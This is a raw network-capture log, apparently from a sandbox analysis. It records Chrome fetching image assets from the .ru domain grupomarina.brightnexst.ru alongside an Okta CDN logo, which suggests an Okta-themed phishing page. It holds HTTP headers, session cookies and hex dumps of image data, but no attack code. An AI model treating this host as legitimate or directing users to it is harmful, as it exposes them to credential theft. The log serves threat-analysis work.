2025-03-17 20:55:19 UTC	269	IN	Data Raw: 31 30 65 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 20 31 32 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 36 2e 37 2c 36 2c 31 32 2c 31 31 2e 33 30 39 2c 31 31 2e 33 30 39 2c 31 32 2c 36 2c 36 2e 37 2e 36 39 31 2c 31 32 2c 30 2c 31 31 2e 33 30 39 2c 35 2e 33 2c 36 2c 30 2c 2e 36 39 31 2e 36 39 31 2c 30 2c 36 2c 35 2e 33 2c 31 31 2e 33 30 39 2c 30 2c 31 32 2c 2e 36 39 31 5a 22 20 66 69 Data Ascii: 10e<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fi
2025-03-17 20:55:19 UTC	8	IN	Data Raw: 3c 2f 73 76 67 3e 0d 0a Data Ascii: </svg>
2025-03-17 20:55:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.16	49773	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:17 UTC	1161	OUT	GET /rsxdLZylu9sNLs7eTOu0UqzijrscZpLQuuew9C74mWaef200 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:19 UTC	1091	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:18 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="rsxdLZylu9sNLs7eTOu0UqzijrscZpLQuuew9C74mWaef200" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ag156TA0yOW0knKegkwf1InOuQWeP0va3zVqzEAdETx3bmi8dO5jMa5EDBj%2BLA3QF5wW970X7PfOLmrIacf8%2B8Lv4wCKysaWjMltgqiSRCOFIrzeugxlJs6mqhm6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=3436&min_rtt=3249&rtt_var=1592&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2071&delivery_rate=610326&cwnd=244&unsent_bytes=0&cid=0a24f08a2c7ea802&ts=80&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 921f63effbdbe56c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2063&min_rtt=2055&rtt_var=787&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1733&delivery_rate=1376060&cwnd=85&unsent_bytes=0&cid=17d9ad66f9ffe1a7&ts=1344&x=0"
2025-03-17 20:55:19 UTC	275	IN	Data Raw: 31 30 63 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2c 33 32 48 33 38 56 31 38 2e 31 32 35 4c 32 34 2c 32 35 2e 31 30 39 2c 31 30 2c 31 38 2e 31 32 35 56 33 32 6d 2e 32 33 34 2d 31 36 4c 32 34 2c 32 32 2e 38 39 31 2c 33 37 2e 37 36 36 2c 31 36 48 31 30 2e 32 33 34 4d 34 30 2c 33 34 48 38 56 31 34 48 34 30 5a 22 20 66 69 6c 6c Data Ascii: 10c<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill
2025-03-17 20:55:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.16	49774	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:17 UTC	1199	OUT	GET /qr8qdLMcV1KyHq9RcCpDL8TGmNXiThRTm9oKUFrvN12Lp0gWgAcpxstwUy42SSCBNeoDKUyLiy7t5j5VJef232 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:19 UTC	1105	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:18 GMT Content-Type: image/webp Content-Length: 9648 Connection: close Content-Disposition: inline; filename="qr8qdLMcV1KyHq9RcCpDL8TGmNXiThRTm9oKUFrvN12Lp0gWgAcpxstwUy42SSCBNeoDKUyLiy7t5j5VJef232" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HCAh1LwxXvqnQwaDaWqof6NyQH0Svyg3cQE8jFBy3Xe%2Fw0Nbkocy%2BhwOZ0rAVQDBoncFuxDia3MlodRr%2FADMH%2BBYR5Am4ew0C4%2Bp%2FzIadch1IbmAJJdYPaLTMOQp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1345&min_rtt=1195&rtt_var=461&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2109&delivery_rate=2371826&cwnd=251&unsent_bytes=0&cid=f03e649d62f412ac&ts=84&x=0" Server: cloudflare CF-RAY: 921f63f0ef204374-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1676&min_rtt=1671&rtt_var=638&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1771&delivery_rate=1701631&cwnd=65&unsent_bytes=0&cid=4e6ab49254d1bb65&ts=1199&x=0"
2025-03-17 20:55:19 UTC	264	IN	Data Raw: 52 49 46 46 a8 25 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 30 00 00 00 f9 01 00 2e 01 00 49 43 43 50 c8 01 00 00 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 24 72 58 59 5a 00 00 01 14 00 00 00 14 67 58 59 5a 00 00 01 28 00 00 00 14 62 58 59 5a 00 00 01 3c 00 00 00 14 77 74 70 74 00 00 01 50 00 00 00 14 72 54 52 43 00 00 01 64 00 00 00 28 67 54 52 43 00 00 01 64 00 00 00 28 62 Data Ascii: RIFF%WEBPVP8X0.ICCP0mntrRGB XYZ acsp-desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(b
2025-03-17 20:55:19 UTC	1369	IN	Data Raw: 00 28 63 70 72 74 00 00 01 8c 00 00 00 3c 6d 6c 75 63 00 00 00 00 00 00 00 01 00 00 00 0c 65 6e 55 53 00 00 00 08 00 00 00 1c 00 73 00 52 00 47 00 42 58 59 5a 20 00 00 00 00 00 00 6f a2 00 00 38 f5 00 00 03 90 58 59 5a 20 00 00 00 00 00 00 62 99 00 00 b7 85 00 00 18 da 58 59 5a 20 00 00 00 00 00 00 24 a0 00 00 0f 84 00 00 b6 cf 58 59 5a 20 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 70 61 72 61 00 00 00 00 00 04 00 00 00 02 66 66 00 00 f2 a7 00 00 0d 59 00 00 13 d0 00 00 0a 5b 00 00 00 00 00 00 00 00 6d 6c 75 63 00 00 00 00 00 00 00 01 00 00 00 0c 65 6e 55 53 00 00 00 20 00 00 00 1c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 20 00 49 00 6e 00 63 00 2e 00 20 00 32 00 30 00 31 00 36 41 4c 50 48 f7 02 00 00 01 0f 30 ff 11 11 82 6e b3 6d 75 04 eb 47 04 84 74 Data Ascii: (cprt<mlucenUSsRGBXYZ o8XYZ bXYZ $XYZ -paraffY[mlucenUS Google Inc. 2016ALPH0nmuGt
2025-03-17 20:55:19 UTC	1369	IN	Data Raw: 9d 47 8a d4 a6 c6 b1 46 e1 e3 28 89 94 41 80 a5 34 2e 1f 44 14 20 81 d7 b4 fe 20 b5 34 54 a3 0a 5b c4 ca d5 85 c6 5c ba de ca 82 44 3d e9 29 c2 99 74 6a ec 2e c0 55 b7 98 29 db 7b 98 ad 4a 74 59 df a4 43 7f fa 96 d2 fc 1e a9 83 1d 98 3b ff d5 ec 64 6c 59 9a f0 03 d6 a5 4f 38 4e ec 3a 68 37 d3 07 fb 1f 84 dd 2f 8d c4 96 b3 84 dd 1e f9 3a 16 77 91 b1 ba 12 d0 75 12 2b a1 1c 4c b4 b5 ef d5 2e 35 28 73 57 9a 39 e9 98 64 58 e9 d0 b4 7b e8 16 21 56 f2 7a 79 75 96 46 6d ff f8 fd 8e 47 59 1e 51 75 fa 4f 1c f4 c0 2b 50 0d c7 38 64 77 5c 56 a5 36 ed b8 72 b8 da 1e 0e 0a 69 82 90 3b 33 be ae 6c f6 56 ae 05 a3 38 1d 8c d7 88 56 f9 80 6c 09 bd 3c 43 e9 8d ed 68 6b be 0e a3 c5 6a 53 7a fc 05 18 5f ac 03 2a 1b 77 43 cf e8 fb a2 b4 a2 f0 8e 71 6d 71 27 f8 cb 31 bb 4a bb Data Ascii: GF(A4.D 4T[\D=)tj.U){JtYC;dlYO8N:h7/:wu+L.5(sW9dX{!VzyuFmGYQuO+P8dw\V6ri;3lV8Vl<ChkjSz_*wCqmq'1J
2025-03-17 20:55:19 UTC	1369	IN	Data Raw: 59 b2 47 6c a6 65 6a fe 63 8c f7 50 4c 87 0d e0 3d 38 62 8c 3c 2f 7b 21 e2 dd b4 96 4b c3 d9 51 5e 5b 4f 2c fd 2a a0 bd 20 ab 2c 33 bf ed e2 04 dd e7 69 af e6 eb cd 7a 92 04 2b 72 c0 f1 dd 28 00 47 75 de 65 0f 38 5a 84 ae 02 51 db 09 ec 89 38 1e 98 43 cf 50 89 af 52 0d 45 89 6b 6b e5 cc 10 46 c7 86 d2 c0 50 f6 84 50 22 53 b0 b1 7d bf b9 ae 5e af 53 74 d8 04 f6 f9 68 ab b4 1b 06 c3 76 71 2d 6f 23 97 f3 73 1a 6a 3a 34 ed 64 31 3e bc cd 97 3c bf cd c3 35 b7 ee 21 9e 0e cb 60 1c 13 f6 47 8d d4 74 4e e0 42 d6 40 a4 4e af 30 f4 de b7 ac 74 6a e8 f4 a2 03 93 cd 92 0a ec 6d 09 b2 b7 8e a9 35 a1 a0 c3 75 bf b5 81 16 c7 f1 b1 d4 5d 3d 72 a4 be db b5 16 f7 dc 35 7e 55 7e c7 67 09 3c 8b e3 3b f8 a6 de 44 25 d1 d6 bb c3 38 29 fe eb ff 1a c7 ce 96 52 00 cb 29 c3 5e 1f Data Ascii: YGlejcPL=8b</{!KQ^[O,* ,3iz+r(Gue8ZQ8CPREkkFPP"S}^Sthvq-o#sj:4d1><5!`GtNB@N0tjm5u]=r5~U~g<;D%8)R)^
2025-03-17 20:55:19 UTC	1369	IN	Data Raw: 3c cf 83 43 3a a6 98 e5 50 2d 8f e3 78 0a 8a c9 db c4 39 68 26 99 53 22 f8 85 8e e8 d6 f5 7e f4 38 2c 7a d1 d2 e3 7b f1 6e 91 51 f3 72 93 1b da 9c 8d 51 b5 80 14 56 d5 dd 0a 06 cc 31 7f 1f 1c bd 63 8d 49 38 5e b6 f0 af f8 b9 89 d6 f9 39 7d db ff ff c9 c1 ff f9 31 af ff f2 51 90 17 19 60 64 27 48 af 92 6b 57 59 68 96 10 7c 31 1e 74 e0 c0 e7 05 7b a2 b6 7e 70 27 82 e1 95 48 90 95 36 78 69 35 18 77 d4 8a 58 b7 d6 1e 8d 3d 07 d3 c4 f8 e3 ec e1 75 56 e1 b2 fd a3 56 b3 e0 ec ce 05 db 3e 96 80 d4 53 cf b1 f6 cf 43 88 fa ec 92 d2 4d 3d 83 cb de 8b 41 88 2e ec 4a 6c be 90 50 59 31 be 1b a5 22 95 36 76 11 da e5 9f d3 0b a5 ba 6d bd 03 6e 27 7d 7f bc 3e 2e a2 7d 38 75 67 b4 59 c4 69 e7 c4 e7 41 c2 08 5b c8 41 ba b8 a2 1e 09 93 8e 9e fd ea 07 be 14 ff 13 47 e8 71 18 Data Ascii: <C:P-x9h&S"~8,z{nQrQV1cI8^9}1Q`d'HkWYh\|1t{~p'H6xi5wX=uVV>SCM=A.JlPY1"6vmn'}>.}8ugYiA[AGq
2025-03-17 20:55:19 UTC	1369	IN	Data Raw: ee 8a 68 cb 1e f5 79 e6 bf bc 2a ef 06 ad 67 31 d5 36 19 2f 28 62 69 15 b7 7e 27 d0 99 26 6b ca cf 7d 26 ac 72 1f 2f 52 51 eb 41 e3 b9 f4 78 3b 1e d2 5b c8 13 56 e1 52 ee 73 92 22 48 f8 33 03 c3 2b 4e 89 20 3f 30 e1 97 38 b7 df b7 fc f8 6a 1e d0 6f 33 7d eb dc 1d 0c 0f 5b 85 66 dd 7b 62 68 03 df 43 73 08 8b 62 ae 56 56 80 af ff e4 eb 17 e9 85 6a 29 24 00 82 b7 11 17 09 0a ad 78 a4 63 80 f4 4f 58 cc 42 bd f1 85 3e 17 9d ba 4b a6 e2 ad 8e 77 1a c0 59 af 8b ae cb 6e 34 54 5d a6 1b 59 90 bf 71 df 7f aa 30 6a 46 6a b8 00 dc e4 d5 03 4e a0 92 26 32 58 b8 d2 0e b1 2c 8a 0a 02 41 e3 14 15 61 f0 79 07 70 c5 a5 c1 69 98 91 36 05 a7 39 88 36 2b 41 4e a0 e1 a8 8d 32 ae dd bf bd e4 40 d7 68 4c 5b 2d 09 00 df d1 8a af ad ad f8 87 e8 6a d3 4d 3a c1 c5 df af b1 1a cb 6f Data Ascii: hy*g16/(bi~'&k}&r/RQAx;[VRs"H3+N ?08jo3}[f{bhCsbVVj)$xcOXB>KwYn4T]Yq0jFjN&2X,Aaypi696+AN2@hL[-jM:o
2025-03-17 20:55:19 UTC	1369	IN	Data Raw: 32 38 e6 96 ed 5d bf 16 e5 6a b5 10 2e 05 51 ba cd bf 41 5b 46 5d b7 61 5f 79 34 94 74 cc e1 bc e8 6a 63 02 9a c3 f0 1b af 55 0f d1 11 bc f1 97 09 a6 5c f0 54 03 32 1a e0 fd 7a 8f 26 ce d9 a5 88 e3 8f 6d 17 d7 fc 27 b9 c9 c7 3f bf e6 8a 2b 52 63 c7 f3 be 1a 36 2f 61 1c a5 70 03 c0 f8 e3 73 c8 0b 73 4c ed 9b ef da 31 4a ad f7 62 90 0d f7 d9 36 39 cc f9 64 80 e6 fa ef 79 d1 7a 95 ab a4 48 59 7d b5 9d 91 de ef 0c f2 4b 81 57 4f a7 7e 4e ee bd bb 1e bb d8 27 da 1b a2 15 6a 4d 2f 12 f6 35 d2 d1 4e 0b 5d fc e2 ec 02 21 c7 77 dd 0f e0 3f 65 e9 64 ef d4 d5 e0 b9 92 fd e8 0a 11 88 73 76 5b 4f 67 e6 fb e2 ef 9b 47 05 04 1e a4 30 91 04 9f 08 c2 7b 5e 0a 24 ef b0 d4 0a 27 35 4b 56 14 f8 e7 a3 94 90 36 91 b8 ef 1b 45 49 99 17 bf ce 20 3e 60 3c 7c 60 21 df 65 7b 3f 6b Data Ascii: 28]j.QA[F]a_y4tjcU\T2z&m'?+Rc6/apssL1Jb69dyzHY}KWO~N'jM/5N]!w?edsv[OgG0{^$'5KV6EI >`<\|`!e{?k
2025-03-17 20:55:19 UTC	1170	IN	Data Raw: b7 94 10 b8 14 c1 0f 6e 3b 21 39 67 4a 03 86 a0 6d ee b3 7e 06 66 62 52 a7 af 66 a5 d6 e3 fc 1c 15 98 dd 1d 38 c9 1d 3d 84 51 6a 87 32 eb b0 d2 e9 05 dd e3 57 e3 0e 04 f0 77 b6 5e bb 2e ca f3 84 bc 75 7f c2 35 33 18 84 28 60 e8 68 a5 b5 da f0 dc 63 f3 4a 11 e5 f6 ff d0 f4 5a a2 8e 8c 2e aa 69 b7 d4 0a 7c 5b 26 34 eb e6 71 e7 31 4b 35 81 80 e9 67 9a bb d5 1c 7a 47 5b 22 f2 29 7e 24 06 e6 ac 02 34 5d 3e 6b f3 be 70 35 a8 90 8d c4 9a fc a1 46 f7 e2 46 50 0f 00 fc 8b 54 f1 9d da e0 96 2d 38 99 a3 c1 f0 3c 39 b6 1d 07 09 f0 a6 ce a5 c8 f8 ad b9 23 6c 29 92 be bf 77 2b 9b 40 67 08 e7 23 3a e0 4d 2b d7 4c a6 2f 8d ef 42 72 f0 7c 26 12 b0 90 a3 81 6a 7e 60 fc 6d f4 65 8f 18 b7 9a fe 0d d5 34 75 21 75 53 03 90 17 f5 fa 85 80 a4 2f 51 ff e1 21 33 80 11 99 9f ed 80 Data Ascii: n;!9gJm~fbRf8=Qj2Ww^.u53(`hcJZ.i\|[&4q1K5gzG[")~$4]>kp5FFPT-8<9#l)w+@g#:M+L/Br\|&j~`me4u!uS/Q!3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.16	49775	13.33.187.96	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:18 UTC	414	OUT	GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:18 UTC	874	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 10796 Connection: close Date: Wed, 12 Mar 2025 18:13:09 GMT Server: nginx Last-Modified: Tue, 23 Feb 2021 04:20:08 GMT ETag: "12bdacc832185d0367ecc23fd24c86ce" Expires: Thu, 12 Mar 2026 18:13:09 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Content-Security-Policy: default-src 'none'; img-src 'self'; require-trusted-types-for 'script'; report-uri https://oktacsp.report-uri.com/r/t/csp/enforce X-Content-Type-Options: nosniff Accept-Ranges: bytes X-Cache: Hit from cloudfront Via: 1.1 32c1b1f3aed1f2411468b70713ad6556.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: IkLuf2MFAtx_TdF2AsrFfYSmoBKLmwvRnoT_CuLGZAN8-rRkqUBxaw== Age: 441729
2025-03-17 20:55:18 UTC	10796	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 a4 00 00 00 5e 08 06 00 00 00 6c 32 60 fe 00 00 29 f3 49 44 41 54 78 da ed 7d 09 9c 1c 55 9d ff a0 8b 20 77 a6 eb bd 1a 42 10 10 50 24 8a 48 76 09 c9 74 d5 ab ea 09 91 b8 a0 78 84 45 41 40 04 51 60 81 45 14 d0 15 02 88 c8 2d ec 8a 9c 22 97 28 e7 9f e5 58 60 89 11 44 2e c3 11 c8 35 5d 5d 55 7d cd 95 c9 9d 90 83 24 33 ff df af aa 26 e9 cc bc d7 67 75 4f 77 cf fb 7d 3e ef 13 98 99 ae 7e f5 8e df f7 77 ff 5a 5a 9a 84 12 7a eb be 96 d6 46 5a 24 49 92 24 49 92 a4 d1 a0 b8 4e fe b3 c7 a4 9d 09 9d ac 74 74 b2 24 65 90 c5 09 4d f9 c5 bc e9 ea ae 72 75 24 49 92 24 49 52 d5 68 81 41 76 4b 30 c5 74 19 b9 77 79 87 3a 98 31 e8 a0 a5 93 c1 44 ce 48 c3 cf d6 4c 53 07 01 98 92 69 46 7e b6 58 8f c4 e0 73 6d 72 f5 24 Data Ascii: PNGIHDR^l2`)IDATx}U wBP$HvtxEA@Q`E-"(X`D.5]]U}$3&guOw}>~wZZzFZ$I$INtt$eMru$I$IRhAvK0twy:1DHLSiF~Xsmr$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.16	49776	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:18 UTC	1191	OUT	GET /ghBioawVsGsUA117yrJ412EaQY1Skt4YW6RuiH2YzmHxyQfrkxsWCkyew24xOurTOMWC6k8Q012210 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:18 UTC	1095	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:18 GMT Content-Type: image/webp Content-Length: 25216 Connection: close Content-Disposition: inline; filename="ghBioawVsGsUA117yrJ412EaQY1Skt4YW6RuiH2YzmHxyQfrkxsWCkyew24xOurTOMWC6k8Q012210" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=extw9jljrtOAsasIcwaoytWrhhHHBpsE9wjmt9H0CT%2BQxIhHXkmNev%2FWaYFh6ViRW4HRYLdRX7idPeVKoW2DGnIwXO%2F6yLXcA%2BDvQBzZ4Ee31jOKcZEQL%2Bs8EN51"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1236&min_rtt=1224&rtt_var=368&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2102&delivery_rate=2209000&cwnd=251&unsent_bytes=0&cid=2bafcf9fb7751580&ts=91&x=0" Server: cloudflare CF-RAY: 921f63f57f9523ce-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1675&min_rtt=1668&rtt_var=639&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1763&delivery_rate=1693735&cwnd=74&unsent_bytes=0&cid=50e51fc382fde6c0&ts=334&x=0"
